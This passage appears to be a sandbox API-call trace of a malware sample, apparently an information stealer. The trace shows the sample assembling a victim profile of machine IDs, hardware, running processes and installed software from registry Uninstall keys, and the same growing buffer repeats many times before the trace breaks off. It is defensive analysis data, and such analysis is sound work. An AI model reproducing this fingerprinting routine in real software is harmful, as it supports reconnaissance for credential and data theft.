d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\n"
[0054.960] RegCloseKey (hKey=0x514) returned 0x0
[0054.960] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x21, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0018-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.960] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0018-0409-0000-0000000FF1CE}") returned 90
[0054.960] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0018-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.960] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft PowerPoint MUI (English) 2016", lpcbData=0x1816c0*=0x28) returned 0x0
[0054.960] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft PowerPoint MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016"
[0054.960] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.960] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- 